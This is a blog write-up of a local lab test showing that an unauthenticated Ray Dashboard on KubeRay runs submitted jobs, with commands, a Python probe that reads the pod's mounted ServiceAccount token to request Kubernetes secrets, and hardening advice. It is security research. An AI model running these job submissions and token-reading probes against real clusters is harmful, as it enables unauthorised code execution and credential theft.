I Asked a Ray Cluster to Run My Code Without Logging In, and It Did

Port 8265 No Token Job Submitted Code Runs in Pod K8s API Default SA RBAC 403
Ray Auth Bypass Path

TL;DR: With Ray authentication off, port 8265 accepts job submissions and runs the submitted code inside the dashboard pod without a token. That code can call Kubernetes with the pod’s mounted token, but RBAC sets the limit: on KubeRay v1.6.0 with Ray v2.55.0, the pod’s default ServiceAccount cannot read secrets).

I port-forwarded the Ray Dashboard and opened it in the browser, but it did not ask me to log in (yes, I expected it to). Because of that, I spent some time testing what someone could do if they could reach the cluster over the network.

If you’re curious, here’s the setup I used:

  • A three-node Minikube cluster
  • Kubernetes v1.34.0
  • KVM virtual machines for the nodes
  • KubeRay operator v1.6.0
  • Ray v2.55.0

I checked the nodes, installed the KubeRay operator and a Ray cluster, and confirmed that the pods were running:

kubectl get nodes

NAME           STATUS   ROLES           AGE     VERSION
minikube       Ready    control-plane   4m46s   v1.34.0
minikube-m02   Ready    <none>          3m45s   v1.34.0
minikube-m03   Ready    <none>          3m29s   v1.34.0

helm install kuberay-operator kuberay/kuberay-operator --version 1.6.0
helm install raycluster kuberay/ray-cluster --version 1.6.0 --set image.tag=2.55.0
kubectl get pods -o wide

NAME                                          READY   STATUS    RESTARTS   AGE     IP           NODE
kuberay-operator-c6db56466-57rl7              1/1     Running   0          3m43s   10.244.1.3   minikube-m02
raycluster-kuberay-head-h9fz9                 1/1     Running   0          107s    10.244.2.2   minikube-m03
raycluster-kuberay-workergroup-worker-p5v8c   1/1     Running   0          107s    10.244.1.4   minikube-m02

I used KVM virtual machines because I want a later container escape test to stop at the VM instead of reaching the host. The pod running the Ray Dashboard is on m03, while the worker pod is on m02. That placement also gives me a clear way to check whether Ray Client can move execution from one node to the other.

I used KubeRay v1.6.0 and Ray v2.55.0 because these versions include the Kubernetes RBAC authentication path documented for KubeRay. And finally, I left authOptions off because I wanted to test what someone could do without it.

The Dashboard Opened Without Authentication

flowchart LR
    A[Client] -->|port 8265\nno token| B[Ray Dashboard\nhead pod]
    B -->|schedule| C[Job Runtime\nhead pod]
    C -->|stdout| B
    B -->|logs + status| A

I started with the Ray Dashboard on port 8265, forwarded the port, and opened it:

kubectl port-forward service/raycluster-kuberay-head-svc 8265:8265

Forwarding from 127.0.0.1:8265 -> 8265

The Ray Dashboard loading without an authentication prompt

The dashboard opened without asking for a token because Ray starts without authentication by default, and I had left it that way. In this setup, a client that could reach port 8265 could open the dashboard.

The dashboard also showed the Jobs view.

The Ray Dashboard Jobs view open without credentials

There was more: port 8265 also accepts job submissions, and I tested that next.

Running Code Without Authentication

I installed Ray CLI v2.55.0 and submitted a Python command that does one simple thing: it prints its hostname.

ray job submit --address http://localhost:8265 -- python -c "import socket; print('RAN_ON:', socket.gethostname())"

Running entrypoint for job raysubmit_Fw7KPZqA2U9hu3nu: python -c "import socket; print('RAN_ON:', socket.gethostname())"
RAN_ON: raycluster-kuberay-head-h9fz9

------------------------------------------
Job 'raysubmit_Fw7KPZqA2U9hu3nu' succeeded
------------------------------------------

The job returned RAN_ON: raycluster-kuberay-head-h9fz9 and succeeded. That hostname belongs to the pod running the Ray Dashboard, and the cluster ran my code there without a token.

The unauthenticated Ray job reporting success from the dashboard pod

I checked the stored logs with the job ID:

ray job logs raysubmit_Fw7KPZqA2U9hu3nu --address http://localhost:8265

Running entrypoint for job raysubmit_Fw7KPZqA2U9hu3nu: python -c "import socket; print('RAN_ON:', socket.gethostname())"
RAN_ON: raycluster-kuberay-head-h9fz9

The logs returned the same hostname, and that confirmed the job ran inside the pod running the Ray Dashboard without a token. This is the ShadowRay pattern, tracked as CVE-2023-48022. Attackers submitted jobs without authentication to run code, mine cryptocurrency, and steal data from exposed Ray clusters.

I could now run code in the same pod, and I was curious: how far could that code reach? I wanted to check the pod’s permissions next.

Checking the Pod’s Kubernetes Permissions

allowed 403 Forbidden Default ServiceAccount Kubernetes API Health & Identity Secrets/Pods/RBAC
RBAC Boundary for Default ServiceAccount

I expected code execution in the pod running the dashboard to give me useful Kubernetes access, because exposed Ray clusters have been used that way in real attacks. The result was narrower.

The first question is what Kubernetes identity the pod uses and whether it carries a token.

kubectl get pod raycluster-kuberay-head-h9fz9 -o jsonpath='{.spec.serviceAccountName}{"\n"}'
default

kubectl get pod raycluster-kuberay-head-h9fz9 -o jsonpath='{.spec.automountServiceAccountToken}{"\n"}'

The pod uses the default ServiceAccount. automountServiceAccountToken is unset, and Kubernetes mounts a token by default. I could run code in a pod that already had a Kubernetes token, and I wanted to know what that token could do.

SA=system:serviceaccount:default:default
kubectl auth can-i --list --as=$SA
kubectl auth can-i get secrets --as=$SA              # no
kubectl auth can-i list pods   --as=$SA              # no
kubectl auth can-i create pods/exec --as=$SA         # no
kubectl auth can-i create serviceaccounts/token --as=$SA  # no

The default ServiceAccount can check its own identity and permissions and read public Kubernetes API endpoints

The result was much narrower than I expected. The ServiceAccount could check its own identity and permissions and read public endpoints such as /healthz, /readyz, and /version. It had no access to secrets, pods, nodes, or RBAC.

But this was still the admin’s view because I had asked Kubernetes to act as the ServiceAccount. To find out what an attacker would see from inside the pod, I sent another job without a token:

source ~/ray-venv/bin/activate
pip install "ray[default]==2.55.0"

ray job submit --address http://localhost:8265 -- \
  bash -c 'kubectl auth can-i --list; echo ---; kubectl auth can-i get secrets; kubectl get secrets'

---------------------------------------
Job 'raysubmit_cLy8aPbyTqiH6b23' failed
---------------------------------------

Status message: Job entrypoint command failed with exit code 127, last available logs (truncated to 20,000 chars):
2026-08-09 09:01:53,647 INFO job_manager.py:587 -- Runtime env is setting up.
Running entrypoint for job raysubmit_cLy8aPbyTqiH6b23: bash -c "kubectl auth can-i --list; echo ---; kubectl auth can-i get secrets; kubectl get secrets"
bash: line 1: kubectl: command not found
---
bash: line 1: kubectl: command not found
bash: line 1: kubectl: command not found

That test did not reach Kubernetes. The Ray image did not include kubectl, and the job stopped with exit code 127.

Because Python was already available in the image, I used it with the mounted token to call Kubernetes directly:

ray job submit --address http://localhost:8265 -- python -c '
import ssl
import urllib.error
import urllib.request

path = "/var/run/secrets/kubernetes.io/serviceaccount"
token = open(path + "/token").read()
request = urllib.request.Request(
    "https://kubernetes.default.svc/api/v1/namespaces/default/secrets?limit=1",
    headers={"Authorization": "Bearer " + token},
)
context = ssl.create_default_context(cafile=path + "/ca.crt")

try:
    response = urllib.request.urlopen(request, context=context)
    print(response.status)
except urllib.error.HTTPError as error:
    print(error.code, error.reason)
'

403 Forbidden

------------------------------------------
Job 'raysubmit_r1f4n3X8zaKw2HH2' succeeded
------------------------------------------

The Ray Dashboard shows the kubectl probe as failed and the Python probe as succeeded

The dashboard showed both attempts. The kubectl job failed, and the Python job succeeded after printing 403 Forbidden because the script caught the error.

The default ServiceAccount had a valid token, but RBAC stopped it from reading secrets. If someone gives that ServiceAccount broader permissions, code running in the pod gets those permissions too. If the pod does not call Kubernetes, set automountServiceAccountToken: false to stop mounting the token.

Port 8265 gave me code execution, and now I wanted to see what else the Ray service exposed.

Checking the Other Ray Ports

Tested Not Tested Head Service Dashboard :8265 GCS :6379 Ray Client :10001 Metrics :8080 Ray Serve :8000
Ray Head Service Port Exposure
kubectl get svc raycluster-kuberay-head-svc \
  -o jsonpath='{range .spec.ports[*]}{.name}{"\t"}{.port}{"\n"}{end}'

client      10001
dashboard   8265
gcs-server  6379
metrics     8080
serve       8000

The service exposed five ports. I had already tested 8265, and 6379 was next. This port belongs to GCS, the part of Ray that keeps information about the cluster, including its nodes and resources.

I entered the pod running the Ray Dashboard and opened Python:

kubectl exec raycluster-kuberay-head-h9fz9 -it -- sh
$ python3

Inside Python, I checked whether Ray had provided an auth mode or token, then connected to port 6379 through the service:

import os
from pathlib import Path

print("AUTH_MODE=", os.environ.get("RAY_AUTH_MODE"))
print("AUTH_TOKEN_SET=", bool(os.environ.get("RAY_AUTH_TOKEN")))
print("AUTH_TOKEN_FILE=", (Path.home() / ".ray" / "auth_token").exists())

import ray
ray.init(address="raycluster-kuberay-head-svc:6379")
ray.cluster_resources()

The pod connects to Ray on port 6379 without an auth mode or token and reads cluster resources

Ray did not have an auth mode or token, but the connection still worked. The last command returned both nodes and their resources. Code running in the dashboard pod could read cluster information without a Ray token.

At this point, I separated what I had tested from what the service only exposed:

  • On port 8265, I submitted a job without a token, and the code ran in the dashboard pod.
  • I did not test Ray Client on port 10001.
  • On port 6379, I connected to GCS without a Ray token and read cluster resource data.
  • I did not test the metrics endpoint on port 8080.
  • I did not test Ray Serve on port 8000.

Two ports now had results: 8265 ran my code, and 6379 returned cluster resource data without a Ray token. Port 10001 was still only a name in the service output. I cannot call it another path to code execution yet.

What the 403 Forbidden Did and Did Not Stop

Rbac Boundary Unprotected Path 403 Forbidden port 6379 no Ray token Port 8265 Open No Auth Check Code Executed Token Read Secrets Blocked GCS Read Data Exposed
Attack Path vs RBAC Boundary

Ray had already accepted my job and run its command before the Python script called Kubernetes. The 403 Forbidden response stopped only the request to read secrets; it did not undo the code execution inside the pod.

This is where I landed: Ray ran my code without a token, and GCS returned cluster data without one. When that code tried to read Kubernetes secrets, RBAC said no. That was a useful boundary, but it did not make unauthenticated code execution safe.

On a real cluster, I would turn on authOptions, use a NetworkPolicy that lets only expected clients reach the Ray service, and give Ray its own ServiceAccount with limited permissions. If Ray does not need to call Kubernetes, I would also set automountServiceAccountToken: false to leave no token for submitted code to use.

Run It Yourself

If you reproduce this, start with the same local versions and keep the cluster private. The profile I used here is deliberately lax: authOptions is off, the Ray service is reachable through port-forwarding, and the Ray pods use the default ServiceAccount.

One caveat before you read too much into that 403. This was the deliberately lax profile on a local three-node Minikube cluster, pinned to Ray v2.55.0 and KubeRay v1.6.0. A newer version, a different chart, or authOptions being enabled can move where each boundary lands, and I only reached two of the five ports here.

Next: Ray Client on Port 10001

The service still had port 10001 labeled client, and the worker pod was on m02 while the pod running the Ray Dashboard was on m03. I had not sent anything through that port yet. I still did not know whether it would accept a connection without a token, or where it would run a task.

That is where I will pick up next time. I will:

  • send a task that prints its hostname
  • turn on authOptions and run the same requests again
  • if the task lands on the worker pod, check whether the code stays inside the container and its VM

I will keep publishing this research as I test it. If you run Ray or KubeRay on Kubernetes and want a second pair of eyes on these same boundaries, the authorization checks, the ServiceAccount grants, and the ports that face the network, you can reach me on LinkedIn.

Until next time,

G.